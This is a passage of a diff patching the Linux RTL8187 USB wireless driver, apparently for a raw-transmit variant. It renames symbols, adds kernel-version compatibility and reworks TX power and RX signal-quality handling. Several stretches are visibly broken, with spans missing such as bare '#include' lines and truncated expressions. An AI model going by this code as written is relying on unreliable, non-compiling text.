dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1941,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1976,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2005,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2095,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2161,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2184,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2198,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2242,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2381,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2399,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2419,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2430,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2443,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2553,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2572,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2594,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2642,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2659,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2676,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2689,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2704,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-06-08 23:30:29.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,16 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +166,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +179,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +233,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,18 +247,18 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-06-08 23:30:47.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for 